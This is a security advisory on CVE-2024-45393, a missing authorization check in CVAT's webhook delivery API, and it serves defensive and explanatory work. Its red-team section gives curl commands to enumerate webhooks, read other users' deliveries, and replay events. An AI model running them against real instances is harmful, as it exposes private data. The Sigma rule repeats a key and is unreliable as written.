CVE-2024-45393

Executive Summary

CVE-2024-45393 is an information disclosure vulnerability in the Computer Vision Annotation Tool (CVAT), an open-source interactive video and image annotation platform. An authenticated attacker with a standard CVAT account can access webhook delivery information for any webhook registered on the CVAT instance, including those belonging to other users. This exposure includes sensitive event details (e.g., full task metadata for update:task events) and the identity of the user who triggered the action. Additionally, the attacker can redeliver past deliveries and trigger ping events for any webhook, enabling unauthorized replay and reconnaissance. The vulnerability has a CVSS score of 6.4 (Medium) and is patched in CVAT version 2.18.0. No public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

CVAT is a Python/Django-based application distributed via Docker images and PyPI. The vulnerability resides in the webhook delivery API, which lacks proper authorization checks. Organizations using CVAT should verify their deployment version and apply the patch immediately. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires a valid CVAT account
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – disclosure of webhook delivery metadata
• Integrity Impact: Low (I:L) – ability to redeliver past events
• Availability Impact: Low (A:L) – ability to trigger ping events

Threat Level: Medium. The vulnerability requires authentication but exposes sensitive operational data and allows replay attacks. In environments where webhooks trigger critical actions (e.g., CI/CD pipelines, external integrations), the impact could be elevated.

Deep Dive & Mechanics

The vulnerability exists in the webhook delivery management API endpoint. CVAT uses Django REST Framework to expose endpoints for listing, retrieving, and redelivering webhook deliveries. The affected endpoint does not enforce ownership or permission checks, allowing any authenticated user to query deliveries for any webhook registered on the instance.

Root Cause: Missing authorization check in the view handling GET /api/webhooks/{webhook_id}/deliveries/ and related actions. The view only verifies that the user is authenticated but does not verify that the user owns the webhook or has appropriate permissions.

Attack Flow:

1. Attacker authenticates to CVAT (e.g., via username/password or API token).
2. Attacker enumerates webhook IDs (e.g., by iterating numeric IDs or using other information leaks).
3. Attacker sends GET requests to /api/webhooks/{webhook_id}/deliveries/ to retrieve delivery history.
4. Each delivery record contains:
   • event – type of event (e.g., update:task, create:job)
   • payload – full object details (e.g., task metadata, annotations)
   • user – the user who triggered the event
   • status – delivery status (success/failure)
   • response – HTTP response from the webhook target
5. Attacker can also POST to /api/webhooks/{webhook_id}/deliveries/{delivery_id}/redeliver/ to replay any past delivery.
6. Attacker can POST to /api/webhooks/{webhook_id}/ping/ to trigger a test event.

Impact: Unauthorized access to sensitive project data, user activity logs, and potential replay of webhook events that may trigger external actions (e.g., sending notifications, updating external systems).

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.18.0):

# cvat/apps/webhooks/views.py
class WebhookDeliveryViewSet(viewsets.ModelViewSet):
    queryset = WebhookDelivery.objects.all()
    serializer_class = WebhookDeliverySerializer
    permission_classes = [IsAuthenticated]

    def get_queryset(self):
        # No filtering by webhook ownership
        return WebhookDelivery.objects.filter(webhook_id=self.kwargs['webhook_id'])

Patched Code (2.18.0+):

# cvat/apps/webhooks/views.py
class WebhookDeliveryViewSet(viewsets.ModelViewSet):
    queryset = WebhookDelivery.objects.all()
    serializer_class = WebhookDeliverySerializer
    permission_classes = [IsAuthenticated]

    def get_queryset(self):
        webhook = get_object_or_404(Webhook, id=self.kwargs['webhook_id'])
        # Verify ownership
        if webhook.owner != self.request.user and not self.request.user.is_staff:
            raise PermissionDenied("You do not own this webhook")
        return WebhookDelivery.objects.filter(webhook_id=webhook.id)

The patch adds an ownership check before returning deliveries. Only the webhook owner or staff users can access delivery data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid CVAT account (any role)
• Network access to CVAT instance
• Knowledge of at least one webhook ID (can be brute-forced if IDs are sequential)

Exploitation Steps:

1. Enumerate webhook IDs:

   for id in $(seq 1 100); do
       curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Token <your_token>" \
           "http://target.cvat/api/webhooks/$id/"
   done
   

2. Retrieve delivery history for a discovered webhook:

   curl -s -H "Authorization: Token <your_token>" \
       "http://target.cvat/api/webhooks/42/deliveries/"
   

3. Redeliver a past event:

   curl -s -X POST -H "Authorization: Token <your_token>" \
       "http://target.cvat/api/webhooks/42/deliveries/123/redeliver/"
   

4. Trigger a ping event:

   curl -s -X POST -H "Authorization: Token <your_token>" \
       "http://target.cvat/api/webhooks/42/ping/"
   

Expected Output: JSON response containing delivery records with event type, payload, user, and response data.

Blue Team

Detection:

• Monitor for repeated requests to /api/webhooks/*/deliveries/ from non-owner users.
• Alert on POST requests to /api/webhooks/*/deliveries/*/redeliver/ or /api/webhooks/*/ping/ from users who do not own the webhook.
• Log all webhook delivery access attempts and correlate with user ownership.

Hunting:

• Search for API calls to webhook endpoints by users with low privileges.
• Review webhook delivery logs for unexpected redeliveries or pings.
• Check for brute-force attempts on webhook IDs (sequential requests).

Mitigation:

• Apply the patch (upgrade to CVAT 2.18.0+).
• If immediate upgrade is not possible, implement a WAF rule to block unauthorized access to webhook delivery endpoints.
• Restrict API token permissions to the minimum required.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Repeated GET requests to /api/webhooks/[0-9]+/deliveries/ from a single IP
  • POST requests to /api/webhooks/[0-9]+/deliveries/[0-9]+/redeliver/
  • POST requests to /api/webhooks/[0-9]+/ping/
  • Unusual volume of 200 responses to webhook delivery endpoints

• Log IOCs:

  • Django access logs showing non-owner users accessing webhook delivery endpoints
  • Audit logs showing redelivery or ping actions by unauthorized users

• File IOCs:

  • No specific file-based IOCs; vulnerability is API-level

Detection Engineering

YARA Rule

rule CVE_2024_45393_CVAT_Webhook_Access {
    meta:
        description = "Detects unauthorized access to CVAT webhook delivery endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-45393"
    strings:
        $s1 = "/api/webhooks/" ascii wide nocase
        $s2 = "/deliveries/" ascii wide nocase
        $s3 = "/redeliver/" ascii wide nocase
        $s4 = "/ping/" ascii wide nocase
    condition:
        any of ($s1) and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-45393 - Unauthorized CVAT Webhook Delivery Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to access CVAT webhook delivery endpoints by non-owner users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: django
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
        cs-uri-stem|contains: 
            - '/api/webhooks/'
        cs-uri-stem|contains:
            - '/deliveries/'
            - '/redeliver/'
            - '/ping/'
    condition: selection
falsepositives:
    - Legitimate webhook owner actions
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-45393 - CVAT Webhook Delivery Access Attempt";
    flow:to_server,established;
    content:"/api/webhooks/"; http_uri;
    content:"/deliveries/"; http_uri;
    pcre:"/\/api\/webhooks\/\d+\/deliveries\//";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CVAT to version 2.18.0 or later.
2. If upgrade is not possible, apply the following workaround:
   • Implement a reverse proxy (e.g., Nginx) to restrict access to webhook endpoints based on user roles.
   • Use Django middleware to add authorization checks (custom patch).

Long-term Measures:

• Conduct a security audit of all API endpoints for proper authorization.
• Implement role-based access control (RBAC) for all sensitive operations.
• Enable audit logging for all webhook-related actions.
• Regularly review and rotate API tokens.

Patch Verification:

• After upgrade, verify that non-owner users receive 403 Forbidden when accessing /api/webhooks/{id}/deliveries/.
• Test that webhook owners can still access their own deliveries.

Valters IT